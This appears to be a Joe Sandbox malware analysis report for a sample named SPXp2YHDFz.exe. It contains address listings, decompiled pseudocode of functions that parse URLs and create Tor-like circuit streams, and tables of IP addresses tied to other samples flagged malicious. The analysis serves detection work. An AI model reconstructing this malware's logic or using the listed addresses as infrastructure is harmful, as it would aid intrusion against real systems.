0x7ff61d78e19a
0x7ff61d78e19d
0x7ff61d78e1a5
0x7ff61d78e1aa
0x7ff61d78e1ae
0x7ff61d78e1b5
0x7ff61d78e1b7
0x7ff61d78e1b7
0x7ff61d78e1bb
0x7ff61d78e1c6
0x7ff61d78e1d2
0x7ff61d78e1da
0x7ff61d78e1e3
0x7ff61d78e1fc
0x7ff61d78e201
0x7ff61d78e209
0x7ff61d78e214
0x7ff61d78e218
0x7ff61d78e224
0x7ff61d78e228
0x7ff61d78e234
0x7ff61d78e238
0x7ff61d78e23f
0x7ff61d78e242
0x7ff61d78e246
0x7ff61d78e24d
0x7ff61d78e254
0x7ff61d78e259
0x7ff61d78e264
0x7ff61d78e26f
0x7ff61d78e273
0x7ff61d78e277
0x7ff61d78e27f
0x7ff61d78e287
0x7ff61d78e296
0x7ff61d78e29c
0x7ff61d78e2a0
0x7ff61d78e2a4
0x7ff61d78e2a8
0x7ff61d78e2ac
0x7ff61d78e2b1
0x7ff61d78e2b5
0x7ff61d78e2be
0x7ff61d78e2c2
0x7ff61d78e2c7
0x7ff61d78e2cb
0x7ff61d78e2d2
0x7ff61d78e2dd
0x7ff61d78e2ea
0x7ff61d78e2f6
0x7ff61d78e2fb
0x7ff61d78e302
0x7ff61d78e30b
0x7ff61d78e30f
0x7ff61d78e313
0x7ff61d78e31a
0x7ff61d78e324
0x7ff61d78e32f
0x7ff61d78e33a
0x7ff61d78e33e
0x7ff61d78e34a
0x7ff61d78e34e
0x7ff61d78e35a
0x7ff61d78e35e
0x7ff61d78e365
0x7ff61d78e36c
0x7ff61d78e378
0x7ff61d78e383
0x7ff61d78e387
0x7ff61d78e38b
0x7ff61d78e392
0x7ff61d78e399
0x7ff61d78e39c
0x7ff61d78e3a5
0x7ff61d78e3a9
0x7ff61d78e3ad
0x7ff61d78e3b1
0x7ff61d78e3b6
0x7ff61d78e3ba
0x7ff61d78e3bf
0x7ff61d78e3c2
0x7ff61d78e3ca
0x7ff61d78e3cf
0x7ff61d78e3d6
0x7ff61d78e3db
0x7ff61d78e3db
0x7ff61d78e3df
0x7ff61d78e3ee
0x7ff61d78e3f4
0x7ff61d78e3fd
0x7ff61d78e401
0x7ff61d78e404
0x7ff61d78e40b
0x7ff61d78e40f
0x7ff61d78e413
0x7ff61d78e416
0x7ff61d78e429
0x7ff61d78e432
0x7ff61d78e439
0x7ff61d78e447
0x7ff61d78e450
0x7ff61d78e454
0x7ff61d78e458
0x7ff61d78e45c
0x7ff61d78e468
0x7ff61d78e46d
0x7ff61d78e472
0x7ff61d78e47b
0x7ff61d78e48b
0x7ff61d78e494
0x7ff61d78e49b
0x7ff61d78e4a9
0x7ff61d78e4b2
0x7ff61d78e4b6
0x7ff61d78e4ba
0x7ff61d78e4be
0x7ff61d78e4ca
0x7ff61d78e4df
0x7ff61d78e4e6
0x7ff61d78e4ed
0x7ff61d78e4f2
0x7ff61d78e4f6
0x7ff61d78e4fa
0x7ff61d78e502
0x7ff61d78e505
0x7ff61d78e50d
0x7ff61d78e512
0x7ff61d78e519
0x7ff61d78e522
0x7ff61d78e527
0x7ff61d78e52e
0x7ff61d78e533
0x7ff61d78e546
0x7ff61d78e550
0x7ff61d78e55a
0x7ff61d78e56e
0x7ff61d78e571
0x7ff61d78e577
0x7ff61d78e586
0x7ff61d78e591
0x7ff61d78e59c
0x7ff61d78e5a0
0x7ff61d78e5ac
0x7ff61d78e5b0
0x7ff61d78e5bc
0x7ff61d78e5c0
0x7ff61d78e5c7
0x7ff61d78e5ce
0x7ff61d78e5da
0x7ff61d78e5e5
0x7ff61d78e5e9
0x7ff61d78e5ed
0x7ff61d78e5f4
0x7ff61d78e5fb
0x7ff61d78e5fe
0x7ff61d78e607
0x7ff61d78e60b
0x7ff61d78e60f
0x7ff61d78e613
0x7ff61d78e618
0x7ff61d78e61c
0x7ff61d78e621
0x7ff61d78e629
0x7ff61d78e634
0x7ff61d78e639
0x7ff61d78e648
0x7ff61d78e651
0x7ff61d78e659
0x7ff61d78e65d
0x7ff61d78e661
0x7ff61d78e66c
0x7ff61d78e670
0x7ff61d78e674
0x7ff61d78e67d
0x7ff61d78e681
0x7ff61d78e692
0x7ff61d78e699
0x7ff61d78e6a0
0x7ff61d78e6a6
0x7ff61d78e6af
0x7ff61d78e6b3
0x7ff61d78e6b6
0x7ff61d78e6bc
0x7ff61d78e6c3
0x7ff61d78e6ce
0x7ff61d78e6d9
0x7ff61d78e6dd
0x7ff61d78e6e1
0x7ff61d78e6e9
0x7ff61d78e6ed
0x7ff61d78e6f9
0x7ff61d78e6fd
0x7ff61d78e704
0x7ff61d78e70b
0x7ff61d78e710
0x7ff61d78e717
0x7ff61d78e72b
0x7ff61d78e737
0x7ff61d78e746
0x7ff61d78e760
0x7ff61d78e768
0x7ff61d78e76c
0x7ff61d78e777
0x7ff61d78e77b
0x7ff61d78e787
0x7ff61d78e78b
0x7ff61d78e797
0x7ff61d78e79b
0x7ff61d78e79f
0x7ff61d78e7a3
0x7ff61d78e7cd

APIs

sscanf.MSVCRT ref: 00007FF61D78E546

Strings

https://, xrefs: 00007FF61D78E480
://, xrefs: 00007FF61D78E14B
http://, xrefs: 00007FF61D78E1DC, 00007FF61D78E41E
443, xrefs: 00007FF61D78E4CF

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: sscanf
String ID: 443$://$http://$https://
API String ID: 3173990253-1974554892
Opcode ID: 6d104ff7858048bd8d37fb7075806b36818275fb47c9a400e792c5cd304d0549
Instruction ID: 6e2af82b5ad0dbbcd53f8e90ded4404c1c1d7a6769d1bacc621f742361e1410c
Opcode Fuzzy Hash: 6d104ff7858048bd8d37fb7075806b36818275fb47c9a400e792c5cd304d0549
Instruction Fuzzy Hash: 74222673B14F849AEB00CFA5E4841AC73B6FB48BA8751462ADE5D97B54EF38D158C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78D6D8 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 223
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00007FF67FF61D78D6D8(void* __edx, void* __ebp, void* __eflags, long long __rbx, long long __rcx, void* __rdx, void* __r8, void* __r9) {
				void* __rsi;
				void* __rbp;
				void* _t87;
				void* _t92;
				void* _t99;
				void* _t101;
				signed int _t102;
				signed int _t103;
				void* _t129;
				void* _t140;
				intOrPtr _t144;
				long long _t185;
				signed long long _t190;
				void* _t197;
				intOrPtr _t198;
				long long _t203;
				void* _t205;
				void* _t207;
				long long* _t208;
				void* _t210;
				void* _t211;
				long long _t220;
				void* _t225;
				intOrPtr _t226;
				void* _t228;
				intOrPtr _t229;
				void* _t231;
				void* _t232;
				void* _t234;
				long long _t236;
				void* _t238;
				long long _t239;

				_t225 = __r9;
				_t129 = _t210;
				 *((long long*)(_t129 + 8)) = __rcx;
				_t208 = _t210 - 0x60;
				_t211 = _t210 - 0x160;
				 *_t208 = 0xfffffffe;
				 *((long long*)(_t129 + 0x10)) = __rbx;
				asm("movaps [eax-0x48], xmm6");
				_t232 = __rdx;
				_t239 = __rcx;
				r14d = 0;
				 *(_t211 + 0x20) = r14d;
				E00007FF67FF61D781BA8(__r8, _t208 - 0x40);
				_t7 = _t234 + 2; // 0x2
				_t102 = _t7;
				 *(_t211 + 0x20) = _t102;
				 *((long long*)(_t211 + 0x30)) = "\n";
				 *((long long*)(_t211 + 0x38)) = 0x1d7937f1;
				asm("movaps xmm0, [esp+0x30]");
				asm("movdqa [esp+0x60], xmm0");
				_t87 = E00007FF67FF61D781C90(__r8, _t208 + 8);
				_t103 = _t102 & 0xfffffffd;
				 *(_t211 + 0x20) = _t103;
				E00007FF67FF61D781BDC(_t87, _t208 - 0x40);
				 *(_t211 + 0x78) = _t234;
				 *(_t208 - 0x80) = _t234;
				 *(_t208 - 0x78) = _t234;
				 *(_t239 + 8) = _t234;
				 *(_t239 + 0x10) = _t234;
				 *(_t239 + 0x18) = _t234;
				 *(_t211 + 0x20) = _t103 | 0x00000001;
				_t144 =  *((intOrPtr*)(_t208 + 0x10));
				_t229 =  *((intOrPtr*)(_t208 + 0x18));
				if (_t144 == _t229) goto 0x1d78da12;
				 *((long long*)(_t211 + 0x30)) = 0x1d7953a8;
				 *((long long*)(_t211 + 0x38)) = 0x1d7953a9;
				asm("movaps xmm6, [esp+0x30]");
				asm("movdqa [esp+0x50], xmm6");
				E00007FF67FF61D781C90(_t144, _t208 - 0x60);
				_t226 =  *((intOrPtr*)(_t208 - 0x58));
				E00007FF67FF61D781E74(_t226, _t208 + 0xb0);
				if ( *((intOrPtr*)(_t208 + 0xb0)) != 0xa91cd3a5) goto 0x1d78d8dc;
				_t185 =  *((intOrPtr*)(_t226 + 0x28));
				_t33 =  *((intOrPtr*)(_t226 + 0x30)) - _t185 - 1; // 0x7ff61d78238a
				asm("dec eax");
				 *((long long*)(_t211 + 0x30)) = _t185;
				 *((long long*)(_t211 + 0x38)) = (_t33 &  ~( *((intOrPtr*)(_t226 + 0x30)) - _t185)) + _t185;
				asm("movaps xmm0, [esp+0x30]");
				asm("movdqa [esp+0x50], xmm0");
				E00007FF67FF61D782A90(_t103 | 0x00000001,  *((intOrPtr*)(_t208 + 0xb0)) - 0xa91cd3a5, _t208 - 0x40, _t211 + 0x50, _t211 + 0x50);
				 *((long long*)(_t208 - 0x70)) =  *((intOrPtr*)(_t208 - 0x38));
				 *((long long*)(_t208 - 0x68)) =  *((intOrPtr*)(_t208 - 0x30));
				asm("movaps xmm0, [ebp-0x70]");
				asm("movdqa [esp+0x50], xmm0");
				_t92 = E00007FF67FF61D78480C( *((intOrPtr*)(_t208 - 0x30)), _t208 - 0x20, _t211 + 0x50);
				_t198 =  *((intOrPtr*)(_t232 + 0x38));
				if (_t198 ==  *((intOrPtr*)(_t232 + 0x40))) goto 0x1d78d8aa;
				_t236 =  *((intOrPtr*)(_t208 - 0x10)) -  *((intOrPtr*)(_t208 - 0x18));
				if ( *((intOrPtr*)(_t198 + 0x10)) -  *((intOrPtr*)(_t198 + 8)) != _t236) goto 0x1d78d89d;
				0x1d79024d();
				if (_t92 == 0) goto 0x1d78d8c1;
				if (_t198 + 0x28 !=  *((intOrPtr*)(_t232 + 0x40))) goto 0x1d78d880;
				r14d = 0;
				free(_t238);
				if (_t236 == 0) goto 0x1d78d8ca;
				goto 0x1d78d8cd;
				r14d = 0;
				goto 0x1d78d8ad;
				_t203 = _t236;
				free(_t234);
				goto 0x1d78d9fc;
				if ( *((intOrPtr*)(_t208 + 0xb0)) != 0xd51c67c1) goto 0x1d78d8f2;
				goto 0x1d78d9fc;
				E00007FF67FF61D781E74(_t144, _t208 + 0xb8);
				if ( *((intOrPtr*)(_t208 + 0xb8)) != 0xdd1c8579) goto 0x1d78d91c;
				if (1 != 1) goto 0x1d78d91c;
				goto 0x1d78d9fc;
				_t190 = _t211 + 0x40;
				E00007FF67FF61D781E74(_t144, _t190);
				if ( *((intOrPtr*)(_t211 + 0x40)) != 0xd51c94bd) goto 0x1d78d9d4;
				if (2 != 2) goto 0x1d78d9fc;
				if (_t203 == 0) goto 0x1d78d9c3;
				 *((long long*)(_t208 + 0x28)) = _t203;
				_t220 =  *(_t211 + 0x78);
				asm("dec eax");
				 *((long long*)(_t211 + 0x60)) = _t220;
				 *((long long*)(_t211 + 0x68)) = (_t190 &  *(_t208 - 0x80) - _t220 - 0x00000001) + _t220;
				asm("movaps xmm0, [esp+0x60]");
				asm("movdqa [esp+0x50], xmm0");
				_t193 = _t211 + 0x50;
				E00007FF67FF61D78DA4C(E00007FF67FF61D7824D8(_t203, _t144, _t208 + 0x30, _t211 + 0x50, _t225, _t226) * ( *(_t239 + 0x10) -  *(_t239 + 8)), _t144, _t239, _t208 + 0x28, (_t193 >> 4 >> 0x3f) + (_t193 >> 4));
				free(_t231);
				_t140 =  *(_t211 + 0x78);
				 *(_t208 - 0x80) = _t140;
				 *_t140 = r14b;
				goto 0x1d78d9fc;
				if (r14d != 2) goto 0x1d78d9fc;
				asm("dec ebp");
				E00007FF67FF61D781D58(_t144, _t211 + 0x70,  *((intOrPtr*)(_t144 + 8)), _t205, _t208, (_t193 >> 0x00000004 >> 0x0000003f) + (_t193 >> 0x00000004) &  *((intOrPtr*)(_t144 + 0x10)) -  *((intOrPtr*)(_t144 + 8)) - 0x00000001, _t228, _t197);
				_t99 = E00007FF67FF61D781F00(_t144, _t208 - 0x60, _t205, _t205);
				if (_t144 + 0x20 != _t229) goto 0x1d78d7cb;
				E00007FF67FF61D781BDC(_t99, _t211 + 0x70);
				_t101 = E00007FF67FF61D781F00(_t144 + 0x20, _t208 + 8, _t205, _t207);
				asm("inc ecx");
				return _t101;
			}

0x7ff61d78d6d8
0x7ff61d78d6d8
0x7ff61d78d6db
0x7ff61d78d6ea
0x7ff61d78d6ef
0x7ff61d78d6f6
0x7ff61d78d6fe
0x7ff61d78d702
0x7ff61d78d709
0x7ff61d78d70c
0x7ff61d78d70f
0x7ff61d78d712
0x7ff61d78d725
0x7ff61d78d72a
0x7ff61d78d72a
0x7ff61d78d72e
0x7ff61d78d739
0x7ff61d78d745
0x7ff61d78d74a
0x7ff61d78d74f
0x7ff61d78d761
0x7ff61d78d767
0x7ff61d78d76a
0x7ff61d78d772
0x7ff61d78d77d
0x7ff61d78d782
0x7ff61d78d786
0x7ff61d78d78a
0x7ff61d78d78e
0x7ff61d78d792
0x7ff61d78d799
0x7ff61d78d79d
0x7ff61d78d7a1
0x7ff61d78d7a8
0x7ff61d78d7b5
0x7ff61d78d7c1
0x7ff61d78d7c6
0x7ff61d78d7cb
0x7ff61d78d7dd
0x7ff61d78d7ea
0x7ff61d78d7f1
0x7ff61d78d800
0x7ff61d78d806
0x7ff61d78d811
0x7ff61d78d818
0x7ff61d78d821
0x7ff61d78d826
0x7ff61d78d82b
0x7ff61d78d830
0x7ff61d78d83f
0x7ff61d78d849
0x7ff61d78d851
0x7ff61d78d855
0x7ff61d78d859
0x7ff61d78d868
0x7ff61d78d86e
0x7ff61d78d876
0x7ff61d78d87c
0x7ff61d78d88e
0x7ff61d78d894
0x7ff61d78d89b
0x7ff61d78d8a5
0x7ff61d78d8a7
0x7ff61d78d8b1
0x7ff61d78d8ba
0x7ff61d78d8bf
0x7ff61d78d8c5
0x7ff61d78d8c8
0x7ff61d78d8ca
0x7ff61d78d8d1
0x7ff61d78d8d7
0x7ff61d78d8e6
0x7ff61d78d8ed
0x7ff61d78d8fc
0x7ff61d78d90b
0x7ff61d78d910
0x7ff61d78d917
0x7ff61d78d91c
0x7ff61d78d924
0x7ff61d78d931
0x7ff61d78d93a
0x7ff61d78d943
0x7ff61d78d945
0x7ff61d78d94d
0x7ff61d78d95c
0x7ff61d78d965
0x7ff61d78d96a
0x7ff61d78d96f
0x7ff61d78d974
0x7ff61d78d97a
0x7ff61d78d9b3
0x7ff61d78d9bd
0x7ff61d78d9c6
0x7ff61d78d9cb
0x7ff61d78d9cf
0x7ff61d78d9d2
0x7ff61d78d9d7
0x7ff61d78d9eb
0x7ff61d78d9f6
0x7ff61d78da00
0x7ff61d78da0c
0x7ff61d78da17
0x7ff61d78da21
0x7ff61d78da35
0x7ff61d78da48

APIs

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

Part of subcall function 00007FF61D782A90: memmove.MSVCRT ref: 00007FF61D782B4C
Part of subcall function 00007FF61D782A90: memmove.MSVCRT ref: 00007FF61D782B7E
Part of subcall function 00007FF61D782A90: memmove.MSVCRT ref: 00007FF61D782BDB

memcmp.MSVCRT ref: 00007FF61D78D894
free.MSVCRT ref: 00007FF61D78D8B1
free.MSVCRT ref: 00007FF61D78D8D1
free.MSVCRT ref: 00007FF61D78D9BD

Part of subcall function 00007FF61D781D58: memmove.MSVCRT ref: 00007FF61D781DC2

Strings

gfffffff, xrefs: 00007FF61D78D991

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freememmove$memcmp
String ID: gfffffff
API String ID: 4015841801-1523873471
Opcode ID: 43269ca09ecadf184a94fa13fd71b3bd9265a48ec0e3e556fb2a205fec520cee
Instruction ID: e666c76b0f1463fa8a8bb5effe44d7e1d601b55743957b8303c75d81b2e2cba1
Opcode Fuzzy Hash: 43269ca09ecadf184a94fa13fd71b3bd9265a48ec0e3e556fb2a205fec520cee
Instruction Fuzzy Hash: B6A17E73A18F8189EB10DF69E4811EDB360FB44BA4F145236EE8DA3A58EF38D549D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7849E8 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF61D7849E8(void* __edi, signed int __esi, void* __eflags, long long __rbx, void* __rcx, signed long long* __rdx, long long __rsi, intOrPtr* __r8, void* __r9) {
				void* __rdi;
				void* __rbp;
				void* __r14;
				void* _t65;
				void* _t71;
				void* _t84;
				signed int _t87;
				signed int _t96;
				intOrPtr* _t102;
				void* _t104;
				intOrPtr _t110;
				intOrPtr* _t121;
				long long _t126;
				void* _t141;
				void* _t142;
				void* _t148;
				signed long long* _t149;
				void* _t156;
				void* _t157;
				void* _t159;
				void* _t160;
				void* _t176;
				void* _t178;
				void* _t181;
				void* _t182;

				_t96 = __esi;
				_t95 = __edi;
				_t104 = _t159;
				 *((long long*)(_t104 + 0x10)) = __rdx;
				_t157 = _t104 - 0x5f;
				_t160 = _t159 - 0xf0;
				 *((long long*)(_t157 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t104 + 8)) = __rbx;
				 *((long long*)(_t104 + 0x18)) = __rsi;
				_t149 = __rdx;
				_t182 = __rcx;
				 *(_t160 + 0x30) =  *(_t160 + 0x30) & 0x00000000;
				 *((long long*)(_t157 + 7)) = "%s:%hi";
				 *((long long*)(_t157 + 0xf)) = 0x1d793cd6;
				asm("movaps xmm0, [ebp+0x7]");
				asm("movdqa [ebp+0x27], xmm0");
				r9d = r9w & 0xffffffff;
				_t141 = _t157 + 0x27;
				E00007FF67FF61D781DEC(_t65, __eflags, _t157 - 0x39, _t141,  *__r8, __r9);
				r13d = 1;
				_t142 =  !=  ?  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)) : _t141;
				_t14 = _t157 - 0x19; // -24
				E00007FF67FF61D7825F4( *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)), _t14, _t181);
				_t126 =  *((intOrPtr*)(_t157 - 0x11));
				 *((long long*)(_t157 - 0x59)) = 0x1d793870;
				 *((long long*)(_t157 - 0x59)) = 0x1d793bd8;
				 *((long long*)(_t157 - 0x51)) = _t126;
				 *((long long*)(_t157 - 0x49)) =  *((intOrPtr*)(_t157 - 9));
				 *((long long*)(_t157 - 0x41)) = _t126;
				_t110 =  *((intOrPtr*)(_t157 - 0x59));
				 *((intOrPtr*)(_t110 + 0x40))(_t156);
				_t28 = _t110 - 1; // -1
				if (_t28 - 0xfffffffd > 0) goto 0x1d784ace;
				_t120 = __rbx + _t110;
				if (__rbx + _t110 -  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)) < 0) goto 0x1d784aa7;
				 *0x1d79d004 = ( *0x1d79d004 & 0x0000ffff) + r13w;
				 *(_t157 + 0x7f) =  *0x1d79d004 & 0x0000ffff;
				_t30 = _t157 + 0x7f; // 0x80
				_t71 = E00007FF67FF61D786FC8(__rbx + _t110, _t160 + 0x38, _t30,  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)), __rcx);
				_t34 = _t157 + 0x7f; // 0x80
				E00007FF67FF61D786E90(_t71, _t120, __rcx + 0x10, _t34,  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)), _t157, _t160 + 0x38, _t178, _t176);
				_t87 =  *(_t157 + 0x7f) & 0x0000ffff;
				 *(_t160 + 0x20) = _t87;
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "circuit::create_stream() [url: %s, stream: %u, status: creating]\n",  *((intOrPtr*)(_t157 - 0x31)));
				r14d = 3;
				 *((intOrPtr*)(__rcx + 0xc)) = r14d;
				 *((long long*)(_t157 - 0x69)) =  *((intOrPtr*)(_t157 - 0x11));
				 *((long long*)(_t157 - 0x61)) =  *((intOrPtr*)(_t157 - 9));
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x69], xmm0");
				 *(_t160 + 0x20) = r14b;
				_t44 = _t157 - 0x69; // -104
				r8b = r13b;
				E00007FF67FF61D785C58( *0x1d79d004 & 0x0000ffff,  *(_t157 + 0x7f) & 0x0000ffff, _t96, _t120, __rcx, _t149, 0x1d79d010, _t44);
				r8d = 0x7530;
				if (E00007FF67FF61D786248( *((intOrPtr*)(_t157 - 0x31)) + 1, _t120, _t182, _t149, 0x1d79d010) != 0) goto 0x1d784bbd;
				 *(_t160 + 0x20) = _t87;
				E00007FF67FF61D781720(0, _t95, 0x1d79d010, "circuit::create_stream() [url: %s, stream: %u, status: created]\n",  *((intOrPtr*)(_t157 - 0x31)));
				 *_t149 =  *((intOrPtr*)(_t160 + 0x38));
				_t149[1] =  *((intOrPtr*)(_t157 - 0x79));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				 *(_t160 + 0x30) = r13d;
				goto 0x1d784c18;
				E00007FF67FF61D781720(r14d, _t95, 0x1d79d010, "circuit::create_stream() [is_ready() == false]\n",  *((intOrPtr*)(_t157 - 0x31)));
				E00007FF67FF61D78B648(_t120,  *((intOrPtr*)(_t160 + 0x38)), _t34, _t149, 0x1d79d010,  *((intOrPtr*)(_t157 - 0x31)));
				 *_t149 =  *_t149 & 0x00000000;
				_t149[1] = _t149[1] & 0x00000000;
				 *(_t160 + 0x30) = r13d;
				_t121 =  *((intOrPtr*)(_t157 - 0x79));
				_t102 = _t121;
				if (_t102 == 0) goto 0x1d784c18;
				asm("lock xadd [ebx+0x8], eax");
				if (_t102 != 0) goto 0x1d784c18;
				 *((intOrPtr*)( *_t121))();
				asm("lock xadd [ebx+0xc], eax");
				if ((_t96 | 0xffffffff) + (_t96 | 0xffffffff) != 0) goto 0x1d784c18;
				_t84 =  *((intOrPtr*)( *_t121 + 8))();
				 *((long long*)(_t157 - 0x59)) = 0x1d793870;
				free(_t148);
				_t61 = _t157 - 0x39; // -56
				return E00007FF67FF61D781BDC(_t84, _t61);
			}

0x7ff61d7849e8
0x7ff61d7849e8
0x7ff61d7849e8
0x7ff61d7849eb
0x7ff61d7849f7
0x7ff61d7849fb
0x7ff61d784a02
0x7ff61d784a0a
0x7ff61d784a0e
0x7ff61d784a12
0x7ff61d784a15
0x7ff61d784a18
0x7ff61d784a24
0x7ff61d784a2f
0x7ff61d784a33
0x7ff61d784a37
0x7ff61d784a3c
0x7ff61d784a43
0x7ff61d784a4b
0x7ff61d784a59
0x7ff61d784a62
0x7ff61d784a66
0x7ff61d784a6a
0x7ff61d784a70
0x7ff61d784a7f
0x7ff61d784a8a
0x7ff61d784a8e
0x7ff61d784a92
0x7ff61d784a96
0x7ff61d784aa7
0x7ff61d784ab9
0x7ff61d784abc
0x7ff61d784ac4
0x7ff61d784ac6
0x7ff61d784acc
0x7ff61d784ae0
0x7ff61d784ae7
0x7ff61d784aee
0x7ff61d784af7
0x7ff61d784b06
0x7ff61d784b0a
0x7ff61d784b0f
0x7ff61d784b13
0x7ff61d784b2e
0x7ff61d784b33
0x7ff61d784b39
0x7ff61d784b41
0x7ff61d784b49
0x7ff61d784b4d
0x7ff61d784b51
0x7ff61d784b56
0x7ff61d784b5b
0x7ff61d784b5f
0x7ff61d784b69
0x7ff61d784b72
0x7ff61d784b85
0x7ff61d784b87
0x7ff61d784b98
0x7ff61d784ba2
0x7ff61d784ba9
0x7ff61d784bad
0x7ff61d784bb0
0x7ff61d784bb6
0x7ff61d784bbb
0x7ff61d784bc7
0x7ff61d784bd1
0x7ff61d784bd6
0x7ff61d784bda
0x7ff61d784bdf
0x7ff61d784be4
0x7ff61d784be8
0x7ff61d784beb
0x7ff61d784bf2
0x7ff61d784bf9
0x7ff61d784c01
0x7ff61d784c05
0x7ff61d784c0c
0x7ff61d784c14
0x7ff61d784c1f
0x7ff61d784c27
0x7ff61d784c2e
0x7ff61d784c55

APIs

Part of subcall function 00007FF61D781DEC: _vscprintf.MSVCRT ref: 00007FF61D781E21
Part of subcall function 00007FF61D781DEC: vsprintf_s.MSVCRT ref: 00007FF61D781E5F

free.MSVCRT ref: 00007FF61D784C27

Strings

%s:%hi, xrefs: 00007FF61D784A1D
circuit::create_stream() [url: %s, stream: %u, status: created], xrefs: 00007FF61D784B8F
circuit::create_stream() [url: %s, stream: %u, status: creating], xrefs: 00007FF61D784B1B
circuit::create_stream() [is_ready() == false], xrefs: 00007FF61D784BBD

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: _vscprintffreevsprintf_s
String ID: %s:%hi$circuit::create_stream() [is_ready() == false]$circuit::create_stream() [url: %s, stream: %u, status: created]$circuit::create_stream() [url: %s, stream: %u, status: creating]
API String ID: 846591216-3309545152
Opcode ID: 7d70384ae122f40e588f91a8bb8b15f8bba5f5d4cbbe535a97925e4f32b1f9e0
Instruction ID: 5305a9d24d7a5bbe9562bf3763795bdcc4e20626c395d1652e9bbfe4f9e04006
Opcode Fuzzy Hash: 7d70384ae122f40e588f91a8bb8b15f8bba5f5d4cbbe535a97925e4f32b1f9e0
Instruction Fuzzy Hash: 3F713B26B19F8596E700DF65D4402AC73B1FB44BA8F404236EE5D97BA8EF38D55AC380

Uniqueness

Uniqueness Score: -1.00%

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
QUINTEXUS	ILI1MGzcig.exe	Get hash	malicious	Browse	199.249.230.169
	ILI1MGzcig.exe	Get hash	malicious	Browse	199.249.230.186
	SecuriteInfo.com.Trojan.Win32.Injector.15ce2803.14478.exe	Get hash	malicious	Browse	199.249.230.27
	xws05Im2dV.exe	Get hash	malicious	Browse	199.249.230.22
	SecuriteInfo.com.W32.AIDetectNet.01.12105.exe	Get hash	malicious	Browse	199.249.230.22
	SecuriteInfo.com.W32.AIDetect.malware2.9516.exe	Get hash	malicious	Browse	199.249.230.22
	SecuriteInfo.com.Variant.Strictor.273519.28477.exe	Get hash	malicious	Browse	199.249.230.22
	SecuriteInfo.com.Fareit-FDBIFE5B8BEC57E3.27402.exe	Get hash	malicious	Browse	199.249.230.22
	Product details.exe	Get hash	malicious	Browse	199.249.230.22
	quote.exe	Get hash	malicious	Browse	199.249.223.130
	2 (2).exe	Get hash	malicious	Browse	199.249.223.130
	crypted_loader_dll_64Donat_5.dll	Get hash	malicious	Browse	199.249.230.83
	payslip_ord-76357827.xlsb	Get hash	malicious	Browse	199.249.230.117
	XqBTvE.exe	Get hash	malicious	Browse	199.249.230.181
	t4hwIvRdgG.exe	Get hash	malicious	Browse	199.249.230.27
	25hBQ7XDkh.exe	Get hash	malicious	Browse	199.249.230.83
	2X3f1ykTmM.exe	Get hash	malicious	Browse	199.249.230.113
	lwRhzjuYIg.exe	Get hash	malicious	Browse	199.249.230.175
	kr.exe	Get hash	malicious	Browse	199.249.230.123

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
c12f54a3f91dc7bafd92cb59fe009a35	SPXp2YHDFz.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	ILI1MGzcig.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	ILI1MGzcig.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	details.xlsb.xlsx	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	Invoice_10-05_order_146_PDF.iso	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
